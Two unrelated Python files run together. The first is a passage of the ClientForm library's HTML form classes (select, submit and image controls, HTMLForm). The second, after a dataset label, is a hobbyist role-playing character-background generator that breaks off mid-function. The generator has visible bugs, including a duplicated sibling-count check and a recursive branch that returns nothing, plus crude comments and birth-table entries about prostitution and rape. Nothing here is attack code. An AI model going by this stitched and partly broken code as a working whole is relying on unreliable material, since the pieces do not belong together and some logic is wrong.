controls, these are OPTION elements). Another special case is that the Item.attrs dictionaries have a special key "contents" which does not correspond to any real HTML attribute, but rather contains the contents of the OPTION element: <OPTION>this bit</OPTION> """ # HTML attributes here are treated slightly differently from other list # controls: # -The SELECT HTML attributes dictionary is stuffed into the OPTION # HTML attributes dictionary under the "__select" key. # -The content of each OPTION element is stored under the special # "contents" key of the dictionary. # After all this, the dictionary is passed to the SelectControl constructor # as the attrs argument, as usual. However: # -The first SelectControl constructed when building up a SELECT control # has a constructor attrs argument containing only the __select key -- so # this SelectControl represents an empty SELECT control. # -Subsequent SelectControls have both OPTION HTML-attribute in attrs and # the __select dictionary containing the SELECT HTML-attributes. def __init__(self, type, name, attrs, select_default=False, index=None): # fish out the SELECT HTML attributes from the OPTION HTML attributes # dictionary self.attrs = attrs["__select"].copy() self.__dict__["_label"] = _get_label(self.attrs) self.__dict__["id"] = self.attrs.get("id") self.__dict__["multiple"] = self.attrs.has_key("multiple") # the majority of the contents, label, and value dance already happened contents = attrs.get("contents") attrs = attrs.copy() del attrs["__select"] ListControl.__init__(self, type, name, self.attrs, select_default, called_as_base_class=True, index=index) self.disabled = self.attrs.has_key("disabled") self.readonly = self.attrs.has_key("readonly") if attrs.has_key("value"): # otherwise it is a marker 'select started' token o = Item(self, attrs, index) o.__dict__["_selected"] = attrs.has_key("selected") # add 'label' label and contents label, if different. If both are # provided, the 'label' label is used for display in HTML # 4.0-compliant browsers (and any lower spec? not sure) while the # contents are used for display in older or less-compliant # browsers. We make label objects for both, if the values are # different. label = attrs.get("label") if label: o._labels.append(Label({"__text": label})) if contents and contents != label: o._labels.append(Label({"__text": contents})) elif contents: o._labels.append(Label({"__text": contents})) def fixup(self): ListControl.fixup(self) # Firefox doesn't exclude disabled items from those considered here # (i.e. from 'found', for both branches of the if below). Note that # IE6 doesn't support the disabled attribute on OPTIONs at all. found = [o for o in self.items if o.selected] if not found: if not self.multiple or self._select_default: for o in self.items: if not o.disabled: was_disabled = self.disabled self.disabled = False try: o.selected = True finally: o.disabled = was_disabled break elif not self.multiple: # Ensure only one item selected. Choose the last one, # following IE and Firefox. for o in found[:-1]: o.selected = False #--------------------------------------------------- class SubmitControl(ScalarControl): """ Covers: INPUT/SUBMIT BUTTON/SUBMIT """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) # IE5 defaults SUBMIT value to "Submit Query"; Firebird 0.6 leaves it # blank, Konqueror 3.1 defaults to "Submit". HTML spec. doesn't seem # to define this. if self.value is None: self.value = "" self.readonly = True def get_labels(self): res = [] if self.value: res.append(Label({"__text": self.value})) res.extend(ScalarControl.get_labels(self)) return res def is_of_kind(self, kind): return kind == "clickable" def _click(self, form, coord, return_type, request_class=urllib2.Request): self._clicked = coord r = form._switch_click(return_type, request_class) self._clicked = False return r def _totally_ordered_pairs(self): if not self._clicked: return [] return ScalarControl._totally_ordered_pairs(self) #--------------------------------------------------- class ImageControl(SubmitControl): """ Covers: INPUT/IMAGE Coordinates are specified using one of the HTMLForm.click* methods. """ def __init__(self, type, name, attrs, index=None): SubmitControl.__init__(self, type, name, attrs, index) self.readonly = False def _totally_ordered_pairs(self): clicked = self._clicked if self.disabled or not clicked: return [] name = self.name if name is None: return [] pairs = [ (self._index, "%s.x" % name, str(clicked[0])), (self._index+1, "%s.y" % name, str(clicked[1])), ] value = self._value if value: pairs.append((self._index+2, name, value)) return pairs get_labels = ScalarControl.get_labels # aliases, just to make str(control) and str(form) clearer class PasswordControl(TextControl): pass class HiddenControl(TextControl): pass class TextareaControl(TextControl): pass class SubmitButtonControl(SubmitControl): pass def is_listcontrol(control): return control.is_of_kind("list") class HTMLForm: """Represents a single HTML <form> ... </form> element. A form consists of a sequence of controls that usually have names, and which can take on various values. The values of the various types of controls represent variously: text, zero-or-one-of-many or many-of-many choices, and files to be uploaded. Some controls can be clicked on to submit the form, and clickable controls' values sometimes include the coordinates of the click. Forms can be filled in with data to be returned to the server, and then submitted, using the click method to generate a request object suitable for passing to urllib2.urlopen (or the click_request_data or click_pairs methods if you're not using urllib2). import ClientForm forms = ClientForm.ParseFile(html, base_uri) form = forms[0] form["query"] = "Python" form.find_control("nr_results").get("lots").selected = True response = urllib2.urlopen(form.click()) Usually, HTMLForm instances are not created directly. Instead, the ParseFile or ParseResponse factory functions are used. If you do construct HTMLForm objects yourself, however, note that an HTMLForm instance is only properly initialised after the fixup method has been called (ParseFile and ParseResponse do this for you). See ListControl.__doc__ for the reason this is required. Indexing a form (form["control_name"]) returns the named Control's value attribute. Assignment to a form index (form["control_name"] = something) is equivalent to assignment to the named Control's value attribute. If you need to be more specific than just supplying the control's name, use the set_value and get_value methods. ListControl values are lists of item names (specifically, the names of the items that are selected and not disabled, and hence are "successful" -- ie. cause data to be returned to the server). The list item's name is the value of the corresponding HTML element's"value" attribute. Example: <INPUT type="CHECKBOX" name="cheeses" value="leicester"></INPUT> <INPUT type="CHECKBOX" name="cheeses" value="cheddar"></INPUT> defines a CHECKBOX control with name "cheeses" which has two items, named "leicester" and "cheddar". Another example: <SELECT name="more_cheeses"> <OPTION>1</OPTION> <OPTION value="2" label="CHEDDAR">cheddar</OPTION> </SELECT> defines a SELECT control with name "more_cheeses" which has two items, named "1" and "2" (because the OPTION element's value HTML attribute defaults to the element contents -- see SelectControl.__doc__ for more on these defaulting rules). To select, deselect or otherwise manipulate individual list items, use the HTMLForm.find_control() and ListControl.get() methods. To set the whole value, do as for any other control: use indexing or the set_/get_value methods. Example: # select *only* the item named "cheddar" form["cheeses"] = ["cheddar"] # select "cheddar", leave other items unaffected form.find_control("cheeses").get("cheddar").selected = True Some controls (RADIO and SELECT without the multiple attribute) can only have zero or one items selected at a time. Some controls (CHECKBOX and SELECT with the multiple attribute) can have multiple items selected at a time. To set the whole value of a ListControl, assign a sequence to a form index: form["cheeses"] = ["cheddar", "leicester"] If the ListControl is not multiple-selection, the assigned list must be of length one. To check if a control has an item, if an item is selected, or if an item is successful (selected and not disabled), respectively: "cheddar" in [item.name for item in form.find_control("cheeses").items] "cheddar" in [item.name for item in form.find_control("cheeses").items and item.selected] "cheddar" in form["cheeses"] # (or "cheddar" in form.get_value("cheeses")) Note that some list items may be disabled (see below). Note the following mistake: form[control_name] = control_value assert form[control_name] == control_value # not necessarily true The reason for this is that form[control_name] always gives the list items in the order they were listed in the HTML. List items (hence list values, too) can be referred to in terms of list item labels rather than list item names using the appropriate label arguments. Note that each item may have several labels. The question of default values of OPTION contents, labels and values is somewhat complicated: see SelectControl.__doc__ and ListControl.get_item_attrs.__doc__ if you think you need to know. Controls can be disabled or readonly. In either case, the control's value cannot be changed until you clear those flags (see example below). Disabled is the state typically represented by browsers by 'greying out' a control. Disabled controls are not 'successful' -- they don't cause data to get returned to the server. Readonly controls usually appear in browsers as read-only text boxes. Readonly controls are successful. List items can also be disabled. Attempts to select or deselect disabled items fail with AttributeError. If a lot of controls are readonly, it can be useful to do this: form.set_all_readonly(False) To clear a control's value attribute, so that it is not successful (until a value is subsequently set): form.clear("cheeses") More examples: control = form.find_control("cheeses") control.disabled = False control.readonly = False control.get("gruyere").disabled = True control.items[0].selected = True See the various Control classes for further documentation. Many methods take name, type, kind, id, label and nr arguments to specify the control to be operated on: see HTMLForm.find_control.__doc__. ControlNotFoundError (subclass of ValueError) is raised if the specified control can't be found. This includes occasions where a non-ListControl is found, but the method (set, for example) requires a ListControl. ItemNotFoundError (subclass of ValueError) is raised if a list item can't be found. ItemCountError (subclass of ValueError) is raised if an attempt is made to select more than one item and the control doesn't allow that, or set/get_single are called and the control contains more than one item. AttributeError is raised if a control or item is readonly or disabled and an attempt is made to alter its value. Security note: Remember that any passwords you store in HTMLForm instances will be saved to disk in the clear if you pickle them (directly or indirectly). The simplest solution to this is to avoid pickling HTMLForm objects. You could also pickle before filling in any password, or just set the password to "" before pickling. Public attributes: action: full (absolute URI) form action method: "GET" or "POST" enctype: form transfer encoding MIME type name: name of form (None if no name was specified) attrs: dictionary mapping original HTML form attributes to their values controls: list of Control instances; do not alter this list (instead, call form.new_control to make a Control and add it to the form, or control.add_to_form if you already have a Control instance) Methods for form filling: ------------------------- Most of the these methods have very similar arguments. See HTMLForm.find_control.__doc__ for details of the name, type, kind, label and nr arguments. def find_control(self, name=None, type=None, kind=None, id=None, predicate=None, nr=None, label=None) get_value(name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None) set_value(value, name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None) clear_all() clear(name=None, type=None, kind=None, id=None, nr=None, label=None) set_all_readonly(readonly) Method applying only to FileControls: add_file(file_object, content_type="application/octet-stream", filename=None, name=None, id=None, nr=None, label=None) Methods applying only to clickable controls: click(name=None, type=None, id=None, nr=0, coord=(1,1), label=None) click_request_data(name=None, type=None, id=None, nr=0, coord=(1,1), label=None) click_pairs(name=None, type=None, id=None, nr=0, coord=(1,1), label=None) """ type2class = { "text": TextControl, "password": PasswordControl, "hidden": HiddenControl, "textarea": TextareaControl, "isindex": IsindexControl, "file": FileControl, "button": IgnoreControl, "buttonbutton": IgnoreControl, "reset": IgnoreControl, "resetbutton": IgnoreControl, "submit": SubmitControl, "submitbutton": SubmitButtonControl, "image": ImageControl, "radio": RadioControl, "checkbox": CheckboxControl, "select": SelectControl, } #--------------------------------------------------- # Initialisation. Use ParseResponse / ParseFile instead. def __init__(self, action, method="GET", enctype="application/x-www-form-urlencoded", name=None, attrs=None, request_class=urllib2.Request, forms=None, labels=None, id_to_labels=None, backwards_compat=True): """ In the usual case, use ParseResponse (or ParseFile) to create new HTMLForm objects. action: full (absolute URI) form action method: "GET" or "POST" enctype: form transfer encoding MIME type name: name of form attrs: dictionary mapping original HTML form attributes to their values """ self.action = action self.method = method self.enctype = enctype self.name = name if attrs is not None: self.attrs = attrs.copy() else: self.attrs = {} self.controls = [] self._request_class = request_class # these attributes are used by zope.testbrowser self._forms = forms # this is a semi-public API! self._labels = labels # this is a semi-public API! self._id_to_labels = id_to_labels # this is a semi-public API! self.backwards_compat = backwards_compat # note __setattr__ self._urlunparse = urlparse.urlunparse self._urlparse = urlparse.urlparse def __getattr__(self, name): if name == "backwards_compat": return self._backwards_compat return getattr(HTMLForm, name) def __setattr__(self, name, value): # yuck if name == "backwards_compat": name = "_backwards_compat" value = bool(value) for cc in self.controls: try: items = cc.items except AttributeError: continue else: for ii in items: for ll in ii.get_labels(): ll._backwards_compat = value self.__dict__[name] = value def new_control(self, type, name, attrs, ignore_unknown=False, select_default=False, index=None): """Adds a new control to the form. This is usually called by ParseFile and ParseResponse. Don't call it youself unless you're building your own Control instances. Note that controls representing lists of items are built up from controls holding only a single list item. See ListControl.__doc__ for further information. type: type of control (see Control.__doc__ for a list) attrs: HTML attributes of control ignore_unknown: if true, use a dummy Control instance for controls of unknown type; otherwise, use a TextControl select_default: for RADIO and multiple-selection SELECT controls, pick the first item as the default if no 'selected' HTML attribute is present (this defaulting happens when the HTMLForm.fixup method is called) index: index of corresponding element in HTML (see MoreFormTests.test_interspersed_controls for motivation) """ type = type.lower() klass = self.type2class.get(type) if klass is None: if ignore_unknown: klass = IgnoreControl else: klass = TextControl a = attrs.copy() if issubclass(klass, ListControl): control = klass(type, name, a, select_default, index) else: control = klass(type, name, a, index) control.add_to_form(self) control._urlparse = self._urlparse control._urlunparse = self._urlunparse def fixup(self): """Normalise form after all controls have been added. This is usually called by ParseFile and ParseResponse. Don't call it youself unless you're building your own Control instances. This method should only be called once, after all controls have been added to the form. """ for control in self.controls: control.fixup() self.backwards_compat = self._backwards_compat #--------------------------------------------------- def __str__(self): header = "%s%s %s %s" % ( (self.name and self.name+" " or ""), self.method, self.action, self.enctype) rep = [header] for control in self.controls: rep.append(" %s" % str(control)) return "<%s>" % "\n".join(rep) #--------------------------------------------------- # Form-filling methods. def __getitem__(self, name): return self.find_control(name).value def __contains__(self, name): return bool(self.find_control(name)) def __setitem__(self, name, value): control = self.find_control(name) try: control.value = value except AttributeError, e: raise ValueError(str(e)) def get_value(self, name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None): """Return value of control. If only name and value arguments are supplied, equivalent to form[name] """ if by_label: deprecation("form.get_value_by_label(...)") c = self.find_control(name, type, kind, id, label=label, nr=nr) if by_label: try: meth = c.get_value_by_label except AttributeError: raise NotImplementedError( "control '%s' does not yet support by_label" % c.name) else: return meth() else: return c.value def set_value(self, value, name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None): """Set value of control. If only name and value arguments are supplied, equivalent to form[name] = value """ if by_label: deprecation("form.get_value_by_label(...)") c = self.find_control(name, type, kind, id, label=label, nr=nr) if by_label: try: meth = c.set_value_by_label except AttributeError: raise NotImplementedError( "control '%s' does not yet support by_label" % c.name) else: meth(value) else: c.value = value def get_value_by_label( self, name=None, type=None, kind=None, id=None, label=None, nr=None): """ All arguments should be passed by name. """ c = self.find_control(name, type, kind, id, label=label, nr=nr) return c.get_value_by_label() def set_value_by_label( self, value, name=None, type=None, kind=None, id=None, label=None, nr=None): """ All arguments should be passed by name. """ c = self.find_control(name, type, kind, id, label=label, nr=nr) c.set_value_by_label(value) def set_all_readonly(self, readonly): for control in self.controls: control.readonly = bool(readonly) def clear_all(self): """Clear the value attributes of all controls in the form. See HTMLForm.clear.__doc__. """ for control in self.controls: control.clear() def clear(self, name=None, type=None, kind=None, id=None, nr=None, label=None): """Clear the value attribute of a control. As a result, the affected control will not be successful until a value is subsequently set. AttributeError is raised on readonly controls. """ c = self.find_control(name, type, kind, id, label=label, nr=nr) c.clear() #--------------------------------------------------- # Form-filling methods applying only to ListControls. def possible_items(self, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=False, label=None): """Return a list of all values that the specified control can take.""" c = self._find_list_control(name, type, kind, id, label, nr) return c.possible_items(by_label) def set(self, selected, item_name, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=False, label=None): """Select / deselect named list item. selected: boolean selected state """ self._find_list_control(name, type, kind, id, label, nr).set( selected, item_name, by_label) def toggle(self, item_name, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=False, label=None): """Toggle selected state of named list item.""" self._find_list_control(name, type, kind, id, label, nr).toggle( item_name, by_label) def set_single(self, selected, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=None, label=None): """Select / deselect list item in a control having only one item. If the control has multiple list items, ItemCountError is raised. This is just a convenience method, so you don't need to know the item's name -- the item name in these single-item controls is usually something meaningless like "1" or "on". For example, if a checkbox has a single item named "on", the following two calls are equivalent: control.toggle("on") control.toggle_single() """ # by_label ignored and deprecated self._find_list_control( name, type, kind, id, label, nr).set_single(selected) def toggle_single(self, name=None, type=None, kind=None, id=None, nr=None, by_label=None, label=None): # deprecated """Toggle selected state of list item in control having only one item. The rest is as for HTMLForm.set_single.__doc__. """ # by_label ignored and deprecated self._find_list_control(name, type, kind, id, label, nr).toggle_single() #--------------------------------------------------- # Form-filling method applying only to FileControls. def add_file(self, file_object, content_type=None, filename=None, name=None, id=None, nr=None, label=None): """Add a file to be uploaded. file_object: file-like object (with read method) from which to read data to upload content_type: MIME content type of data to upload filename: filename to pass to server If filename is None, no filename is sent to the server. If content_type is None, the content type is guessed based on the filename and the data from read from the file object. XXX At the moment, guessed content type is always application/octet-stream. Use sndhdr, imghdr modules. Should also try to guess HTML, XML, and plain text. Note the following useful HTML attributes of file upload controls (see HTML 4.01 spec, section 17): accept: comma-separated list of content types that the server will handle correctly; you can use this to filter out non-conforming files size: XXX IIRC, this is indicative of whether form wants multiple or single files maxlength: XXX hint of max content length in bytes? """ self.find_control(name, "file", id=id, label=label, nr=nr).add_file( file_object, content_type, filename) #--------------------------------------------------- # Form submission methods, applying only to clickable controls. def click(self, name=None, type=None, id=None, nr=0, coord=(1,1), request_class=urllib2.Request, label=None): """Return request that would result from clicking on a control. The request object is a urllib2.Request instance, which you can pass to urllib2.urlopen (or ClientCookie.urlopen). Only some control types (INPUT/SUBMIT & BUTTON/SUBMIT buttons and IMAGEs) can be clicked. Will click on the first clickable control, subject to the name, type and nr arguments (as for find_control). If no name, type, id or number is specified and there are no clickable controls, a request will be returned for the form in its current, un-clicked, state. IndexError is raised if any of name, type, id or nr is specified but no matching control is found. ValueError is raised if the HTMLForm has an enctype attribute that is not recognised. You can optionally specify a coordinate to click at, which only makes a difference if you clicked on an image. """ return self._click(name, type, id, label, nr, coord, "request", self._request_class) def click_request_data(self, name=None, type=None, id=None, nr=0, coord=(1,1), request_class=urllib2.Request, label=None): """As for click method, but return a tuple (url, data, headers). You can use this data to send a request to the server. This is useful if you're using httplib or urllib rather than urllib2. Otherwise, use the click method. # Untested. Have to subclass to add headers, I think -- so use urllib2 # instead! import urllib url, data, hdrs = form.click_request_data() r = urllib.urlopen(url, data) # Untested. I don't know of any reason to use httplib -- you can get # just as much control with urllib2. import httplib, urlparse url, data, hdrs = form.click_request_data() tup = urlparse(url) host, path = tup[1], urlparse.urlunparse((None, None)+tup[2:]) conn = httplib.HTTPConnection(host) if data: httplib.request("POST", path, data, hdrs) else: httplib.request("GET", path, headers=hdrs) r = conn.getresponse() """ return self._click(name, type, id, label, nr, coord, "request_data", self._request_class) def click_pairs(self, name=None, type=None, id=None, nr=0, coord=(1,1), label=None): """As for click_request_data, but returns a list of (key, value) pairs. You can use this list as an argument to ClientForm.urlencode. This is usually only useful if you're using httplib or urllib rather than urllib2 or ClientCookie. It may also be useful if you want to manually tweak the keys and/or values, but this should not be necessary. Otherwise, use the click method. Note that this method is only useful for forms of MIME type x-www-form-urlencoded. In particular, it does not return the information required for file upload. If you need file upload and are not using urllib2, use click_request_data. Also note that Python 2.0's urllib.urlencode is slightly broken: it only accepts a mapping, not a sequence of pairs, as an argument. This messes up any ordering in the argument. Use ClientForm.urlencode instead. """ return self._click(name, type, id, label, nr, coord, "pairs", self._request_class) #--------------------------------------------------- def find_control(self, name=None, type=None, kind=None, id=None, predicate=None, nr=None, label=None): """Locate and return some specific control within the form. At least one of the name, type, kind, predicate and nr arguments must be supplied. If no matching control is found, ControlNotFoundError is raised. If name is specified, then the control must have the indicated name. If type is specified then the control must have the specified type (in addition to the types possible for <input> HTML tags: "text", "password", "hidden", "submit", "image", "button", "radio", "checkbox", "file" we also have "reset", "buttonbutton", "submitbutton", "resetbutton", "textarea", "select" and "isindex"). If kind is specified, then the control must fall into the specified group, each of which satisfies a particular interface. The types are "text", "list", "multilist", "singlelist", "clickable" and "file". If id is specified, then the control must have the indicated id. If predicate is specified, then the control must match that function. The predicate function is passed the control as its single argument, and should return a boolean value indicating whether the control matched. nr, if supplied, is the sequence number of the control (where 0 is the first). Note that control 0 is the first control matching all the other arguments (if supplied); it is not necessarily the first control in the form. If no nr is supplied, AmbiguityError is raised if multiple controls match the other arguments (unless the .backwards-compat attribute is true). If label is specified, then the control must have this label. Note that radio controls and checkboxes never have labels: their items do. """ if ((name is None) and (type is None) and (kind is None) and (id is None) and (label is None) and (predicate is None) and (nr is None)): raise ValueError( "at least one argument must be supplied to specify control") return self._find_control(name, type, kind, id, label, predicate, nr) #--------------------------------------------------- # Private methods. def _find_list_control(self, name=None, type=None, kind=None, id=None, label=None, nr=None): if ((name is None) and (type is None) and (kind is None) and (id is None) and (label is None) and (nr is None)): raise ValueError( "at least one argument must be supplied to specify control") return self._find_control(name, type, kind, id, label, is_listcontrol, nr) def _find_control(self, name, type, kind, id, label, predicate, nr): if ((name is not None) and (name is not Missing) and not isstringlike(name)): raise TypeError("control name must be string-like") if (type is not None) and not isstringlike(type): raise TypeError("control type must be string-like") if (kind is not None) and not isstringlike(kind): raise TypeError("control kind must be string-like") if (id is not None) and not isstringlike(id): raise TypeError("control id must be string-like") if (label is not None) and not isstringlike(label): raise TypeError("control label must be string-like") if (predicate is not None) and not callable(predicate): raise TypeError("control predicate must be callable") if (nr is not None) and nr < 0: raise ValueError("control number must be a positive integer") orig_nr = nr found = None ambiguous = False if nr is None and self.backwards_compat: nr = 0 for control in self.controls: if ((name is not None and name != control.name) and (name is not Missing or control.name is not None)): continue if type is not None and type != control.type: continue if kind is not None and not control.is_of_kind(kind): continue if id is not None and id != control.id: continue if predicate and not predicate(control): continue if label: for l in control.get_labels(): if l.text.find(label) > -1: break else: continue if nr is not None: if nr == 0: return control # early exit: unambiguous due to nr nr -= 1 continue if found: ambiguous = True break found = control if found and not ambiguous: return found description = [] if name is not None: description.append("name %s" % repr(name)) if type is not None: description.append("type '%s'" % type) if kind is not None: description.append("kind '%s'" % kind) if id is not None: description.append("id '%s'" % id) if label is not None: description.append("label '%s'" % label) if predicate is not None: description.append("predicate %s" % predicate) if orig_nr: description.append("nr %d" % orig_nr) description = ", ".join(description) if ambiguous: raise AmbiguityError("more than one control matching "+description) elif not found: raise ControlNotFoundError("no control matching "+description) assert False def _click(self, name, type, id, label, nr, coord, return_type, request_class=urllib2.Request): try: control = self._find_control( name, type, "clickable", id, label, None, nr) except ControlNotFoundError: if ((name is not None) or (type is not None) or (id is not None) or (nr != 0)): raise # no clickable controls, but no control was explicitly requested, # so return state without clicking any control return self._switch_click(return_type, request_class) else: return control._click(self, coord, return_type, request_class) def _pairs(self): """Return sequence of (key, value) pairs suitable for urlencoding.""" return [(k, v) for (i, k, v, c_i) in self._pairs_and_controls()] def _pairs_and_controls(self): """Return sequence of (index, key, value, control_index) of totally ordered pairs suitable for urlencoding. control_index is the index of the control in self.controls """ pairs = [] for control_index in range(len(self.controls)): control = self.controls[control_index] for ii, key, val in control._totally_ordered_pairs(): pairs.append((ii, key, val, control_index)) # stable sort by ONLY first item in tuple pairs.sort() return pairs def _request_data(self): """Return a tuple (url, data, headers).""" method = self.method.upper() #scheme, netloc, path, parameters, query, frag = urlparse.urlparse(self.action) parts = self._urlparse(self.action) rest, (query, frag) = parts[:-2], parts[-2:] if method == "GET": if self.enctype != "application/x-www-form-urlencoded": raise ValueError( "unknown GET form encoding type '%s'" % self.enctype) parts = rest + (urlencode(self._pairs()), None) uri = self._urlunparse(parts) return uri, None, [] elif method == "POST": parts = rest + (query, None) uri = self._urlunparse(parts) if self.enctype == "application/x-www-form-urlencoded": return (uri, urlencode(self._pairs()), [("Content-type", self.enctype)]) elif self.enctype == "multipart/form-data": data = StringIO() http_hdrs = [] mw = MimeWriter(data, http_hdrs) f = mw.startmultipartbody("form-data", add_to_http_hdrs=True, prefix=0) for ii, k, v, control_index in self._pairs_and_controls(): self.controls[control_index]._write_mime_data(mw, k, v) mw.lastpart() return uri, data.getvalue(), http_hdrs else: raise ValueError( "unknown POST form encoding type '%s'" % self.enctype) else: raise ValueError("Unknown method '%s'" % method) def _switch_click(self, return_type, request_class=urllib2.Request): # This is called by HTMLForm and clickable Controls to hide switching # on return_type. if return_type == "pairs": return self._pairs() elif return_type == "request_data": return self._request_data() else: req_data = self._request_data() req = request_class(req_data[0], req_data[1]) for key, val in req_data[2]: add_hdr = req.add_header if key.lower() == "content-type": try: add_hdr = req.add_unredirected_header except AttributeError: # pre-2.4 and not using ClientCookie pass add_hdr(key, val) return req
codeparrot/github-code-clean
from random import randint ''' This is an easy copy/paste for creating dicts: Table = { '': , '': , '': , '': , '': , '': , '': , '': } ''' def random_choice(chances_dict): chances = chances_dict.values() strings = list(chances_dict.keys()) return strings[random_choice_index(chances)] def random_choice_index(chances): dice = randint(1, sum(chances)) running_sum = 0 choice = 0 for w in chances: running_sum += w if dice <= running_sum: return choice choice += 1 raceTable101 = { 'Human': 14, 'Elf': 2, 'Dwarf': 1, 'Halfling': 1, 'Half Elf': 1, 'other races': 1 } raceTable101a = { 'Beastman': 3, 'Reptileman': 2, 'Orc': 1, 'Half-Orc': 4 } cultureTable102 = { 'Primitive': 1, 'Nomad': 2, 'Barbarian': 3, 'Civilized': 3, 'Civilized-decadent': 1 } def cultureTable102a(culture): if culture == 'Primitive': return(-3) elif culture == 'Nomad': return(0) elif culture == 'Barbarian': return(2) elif culture == 'Civilized': return(4) elif culture == 'Civilized-decadent': return(7) def socialTable103(cuMod, tiMod, charCulture): rand = randint(1,100) + cuMod + tiMod if rand <= 12: return('Destitute', -3, '', 0) elif rand <= 40: return('Poor', -1, '', 0) elif rand <=84: return('Comfortable', 0, '', 0) elif rand == 85: socialTable103(0, tiMod, charCulture) elif rand <= 96: return('Well-to-do', 2, '', 0) elif rand <= 98: rand = randint(1,100) if rand <= tiMod + 1: return('Extremely Wealthy', 8, '', 0) else: return('Wealthy', 4, '', 0) elif rand >= 99: if charCulture == 'Primitive': nobleTitle = random_choice(nobleTable758prim) elif charCulture == 'Nomad': nobleTitle = random_choice(nobleTable758nomad) elif charCulture == 'Barbarian': nobleTitle = random_choice(nobleTable758barb) else: nobleTitle = random_choice(nobleTable758civil) tiMod = nobleTable758tiMod(nobleTitle) # 103a is exactly like 103 but iterates at 99+ rands. Not necessary, but slightly cleaner on debug printing. Otherwise I could just keep iterating through 103 until it didn't roll into circles. return socialTable103a(cuMod, tiMod, charCulture, nobleTitle) else: raise ValueError("You shouldn't ever be able to see this error on socialTable103.") def socialTable103a(cuMod, tiMod, charCulture, nobleTitle): rand = randint(1,100) + cuMod + tiMod if rand <= 12: return('Destitute', -3, nobleTitle, tiMod) elif rand <= 40: return('Poor', -1, nobleTitle, tiMod) elif rand <=84: return('Comfortable', 0, nobleTitle, tiMod) elif rand == 85: return socialTable103a(0, tiMod, charCulture, nobleTitle) elif rand <= 96: return('Well-to-do', 2, nobleTitle, tiMod) elif rand <= 98: rand = randint(1,100) if rand <= tiMod + 1: return('Extremely Wealthy', 8, nobleTitle, tiMod) else: return('Wealthy', 4, nobleTitle, tiMod) elif rand >= 99: return socialTable103a(cuMod, tiMod, charCulture, nobleTitle) def birthTable104(cuMod): rand = randint(1,20) + cuMod if rand >= 19: return(False) def illegitBirthTable105(cuMod): rand = randint(1,20) + cuMod if rand <= 12: return 'mother was a common prostitute, unmarried' if rand <= 14: return 'mother was raped and remained unmarried' if rand <= 23: return 'mother was unmarried' if rand <= 27: return 'mother was a courtesan' def familyTable106(cuMod): rand = randint(1,20) + cuMod global charSocial if rand <= 8: familyInfo = 'Mother and father only' elif rand <= 12: familyInfo = 'Extended family. Mother and father, along with ' + str(randint(1,4)) + ' grandparents and ' + str(randint(1,4)) + ' aunts/uncles and cousins' elif rand <= 13: rand = randint(1,2) if rand > 1: familyInfo = "Grandparents on father's side" else: familyInfo = "Grandparents on mother's side" elif rand <= 14: rand = randint(1,2) if rand > 1: familyInfo = "Single grandparent on mother's side" else: familyInfo = "Single grandparent on father's side" elif rand <= 15: rand = randint(1,2) if rand > 1: familyInfo = "Single aunt or uncle on father's side" else: familyInfo = "Single aunt or uncle on mother's side" elif rand <= 16: rand = randint(1,2) if rand > 1: rand = randint(1,2) if rand > 1: familyInfo = "Aunt on father's side" else: familyInfo = "Aunt on mother's side" else: rand = randint(1,2) if rand > 1: familyInfo = "Uncle on father's side" else: familyInfo = "Uncle on mother's side" elif rand <= 18: familyInfo = "Only a mother" elif rand <= 19: familyInfo = "Only a father" elif rand <= 20: rand = randint(1,20) if rand <= 8: return guardiansTable754(cuMod), True else: return familyTable106a(cuMod), True elif rand <= 24: charSocial = 'destitute' familyInfo = 'none, left to fend for yourself' elif rand <= 27: charSocial = 'poor' familyInfo = 'none, raised in an orphanage' else: raise ValueError("familyTable106 is reporting a randint error for some weird fucking reason. This shouldn't be possible.") return familyInfo, False def familyTable106a(cuMod): rand = randint(1,20) + cuMod if rand <= 8: return 'Mother and father only' elif rand <= 12: return 'Extended family. Mother and father, along with ' + str(randint(1,4)) + ' grandparents and ' + str(randint(1,4)) + ' aunts/uncles and cousins' elif rand <= 13: rand = randint(1,2) if rand > 1: return "Grandparents on father's side" else: return "Grandparents on mother's side" elif rand <= 14: rand = randint(1,2) if rand > 1: return "Single grandparent on mother's side" else: return "Single grandparent on father's side" elif rand <= 15: rand = randint(1,2) if rand > 1: return "Single aunt or uncle on father's side" else: return "Single aunt or uncle on mother's side" elif rand <= 16: rand = randint(1,2) if rand > 1: rand = randint(1,2) if rand > 1: return "Aunt on father's side" else: return "Aunt on mother's side" else: rand = randint(1,2) if rand > 1: return "Uncle on father's side" else: return "Uncle on mother's side" elif rand <= 18: return "Only a mother" elif rand <= 19: return "Only a father" def siblingsTable107(): rand = randint(1,19) #support for 20, just not implementing yet if rand <= 2: return 'none', '', '' elif rand <= 9: rand = randint(1,3) elif rand <= 15: rand = randint(2,4) elif rand <= 17: rand = randint(3,6) elif rand <= 19: rand = randint(2,8) #elif rand <= 20: return siblingsTable107a(rand) def siblingsTable107a(number): # I rolled table 108 into this one because I got kinda caught up in the speed I was going. Eh, fuck it for now. siblingMale = 0 siblingFemale = 0 for i in range(number): rand = randint(1,20) if rand <= 9: siblingMale += 1 else: siblingFemale += 1 totalSiblings = siblingMale + siblingFemale birthOrder = "" if totalSiblings == 2: rand = randint(1,2) if rand == 1: birthOrder = 'first born' else: birthOrder = 'last born' elif totalSiblings == 2: rand = randint(1,3) if rand == 1: birthOrder = 'first born' elif rand == 2: birthOrder = 'middle born' else: birthOrder = 'last born' else: rand = randint(1,20) if rand <= 2: birthOrder = 'first born' elif rand <= 10: birthOrder = 'second born' elif rand <= 16: birthOrder = 'middle born' elif rand <= 18: birthOrder = 'second-to-last born' elif rand <= 20: birthOrder = 'last born' return siblingMale, siblingFemale, birthOrder #note to me: I rolled 108 into 107a, that's why it's not here. I know I'll forget this. def birthTimeTable109(): rand = randint(1,4) if rand == 1: birthSeason = 'spring' elif rand == 2: birthSeason = 'summer' elif rand == 3: birthSeason = 'autumn' elif rand == 4: birthSeason = 'winter' rand = randint(1,8) if rand == 1: birthTimeOfDay = 'midnight' elif rand == 2: birthTimeOfDay = 'late night' elif rand == 3: 